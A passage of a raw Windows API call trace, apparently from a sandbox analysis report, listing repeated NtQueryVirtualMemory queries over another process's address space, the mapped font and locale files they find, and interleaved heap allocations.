VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x7000), ResultLength=0x0) returned 0x0 [0149.798] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x100000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.798] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x107000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x107000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0149.798] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x110000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x110000, AllocationBase=0x0, AllocationProtect=0x110000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.798] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x110000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.798] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x112000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x112000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xe000), ResultLength=0x0) returned 0x0 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x120000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x120000, AllocationBase=0x0, AllocationProtect=0x120000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x121000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x121000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xf000), ResultLength=0x0) returned 0x0 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x130000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x130000, AllocationBase=0x0, AllocationProtect=0x130000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x130000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x60, SectionFileName.MaximumLength=0x62, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\Fonts\\vgasys.fon"), ResultLength=0x0) returned 0x0 [0149.799] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa36490 [0149.799] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47438 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x132000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x132000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xe000), ResultLength=0x0) returned 0x0 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x140000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x140000, AllocationBase=0x0, AllocationProtect=0x140000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0xac000), ResultLength=0x0) returned 0x0 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x1ec000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1ec000, AllocationBase=0x0, AllocationProtect=0x140000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x54000), ResultLength=0x0) returned 0x0 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x240000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x240000, AllocationBase=0x0, AllocationProtect=0x240000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x240000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.799] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x250000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x250000, AllocationBase=0x0, AllocationProtect=0x250000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x7000), ResultLength=0x0) returned 0x0 [0149.800] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x62, SectionFileName.MaximumLength=0x64, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\Fonts\\marlett.ttf"), ResultLength=0x0) returned 0x0 [0149.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa364b8 [0149.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c474c0 [0149.800] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x257000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x257000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0149.800] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x260000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x260000, AllocationBase=0x0, AllocationProtect=0x260000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.800] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x260000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.800] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x262000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x262000, AllocationBase=0x0, AllocationProtect=0x260000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x16000), ResultLength=0x0) returned 0x0 [0149.800] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x278000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x278000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.800] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x280000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x280000, AllocationBase=0x0, AllocationProtect=0x280000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x67000), ResultLength=0x0) returned 0x0 [0149.800] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x280000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x66, SectionFileName.MaximumLength=0x68, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\locale.nls"), ResultLength=0x0) returned 0x0 [0149.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa364e0 [0149.800] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47548 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2e7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2e7000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2f0000, AllocationBase=0x0, AllocationProtect=0x2f0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0xe000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x2fe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2fe000, AllocationBase=0x0, AllocationProtect=0x2f0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0xf2000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x3f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x3f0000, AllocationBase=0x0, AllocationProtect=0x3f0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x3f1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x3f1000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xf000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x400000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x400000, AllocationBase=0x0, AllocationProtect=0x400000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x400000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x410000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x410000, AllocationBase=0x0, AllocationProtect=0x410000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x35000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x445000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x445000, AllocationBase=0x0, AllocationProtect=0x410000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x448000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x448000, AllocationBase=0x0, AllocationProtect=0x410000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x450000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x450000, AllocationBase=0x0, AllocationProtect=0x450000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x35000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x485000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x485000, AllocationBase=0x0, AllocationProtect=0x450000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x488000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x488000, AllocationBase=0x0, AllocationProtect=0x450000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x490000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x490000, AllocationBase=0x0, AllocationProtect=0x490000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.801] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x490000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4a0000, AllocationBase=0x0, AllocationProtect=0x4a0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x7000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4a7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4a7000, AllocationBase=0x0, AllocationProtect=0x4a0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4b0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4b0000, AllocationBase=0x0, AllocationProtect=0x4b0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x181000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x4b0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x631000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x631000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xf000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x640000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x640000, AllocationBase=0x0, AllocationProtect=0x640000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x3f3000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x640000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xa33000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xa33000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xd000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xa40000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xa40000, AllocationBase=0x0, AllocationProtect=0xa40000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x35000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xa75000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xa75000, AllocationBase=0x0, AllocationProtect=0xa40000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xa78000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xa78000, AllocationBase=0x0, AllocationProtect=0xa40000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xa80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xa80000, AllocationBase=0x0, AllocationProtect=0xa80000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xa80000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.802] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xa90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xa90000, AllocationBase=0x0, AllocationProtect=0xa90000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x35000), ResultLength=0x0) returned 0x0 [0149.803] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xac5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xac5000, AllocationBase=0x0, AllocationProtect=0xa90000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.803] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xac8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xac8000, AllocationBase=0x0, AllocationProtect=0xa90000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.803] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xad0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xad0000, AllocationBase=0x0, AllocationProtect=0xad0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x35000), ResultLength=0x0) returned 0x0 [0149.803] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xb05000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xb05000, AllocationBase=0x0, AllocationProtect=0xad0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.803] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xb08000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xb08000, AllocationBase=0x0, AllocationProtect=0xad0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.803] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xb10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xb10000, AllocationBase=0x0, AllocationProtect=0xb10000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x7f000), ResultLength=0x0) returned 0x0 [0149.803] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xb10000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x62, SectionFileName.MaximumLength=0x64, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\Fonts\\segoeui.ttf"), ResultLength=0x0) returned 0x0 [0149.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa36508 [0149.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c475d0 [0149.803] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xb8f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xb8f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.803] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xb90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xb90000, AllocationBase=0x0, AllocationProtect=0xb90000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xb90000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xba0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xba0000, AllocationBase=0x0, AllocationProtect=0xba0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xba0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xbb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xbb0000, AllocationBase=0x0, AllocationProtect=0xbb0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x35000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xbe5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xbe5000, AllocationBase=0x0, AllocationProtect=0xbb0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xbe8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xbe8000, AllocationBase=0x0, AllocationProtect=0xbb0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xbf0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xbf0000, AllocationBase=0x0, AllocationProtect=0xbf0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xbf0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xbf1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xbf1000, AllocationBase=0x0, AllocationProtect=0xbf0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x17f000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xd70000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xd70000, AllocationBase=0x0, AllocationProtect=0xbf0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.804] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0xd73000, VirtualMemoryInformationClass=0x0, 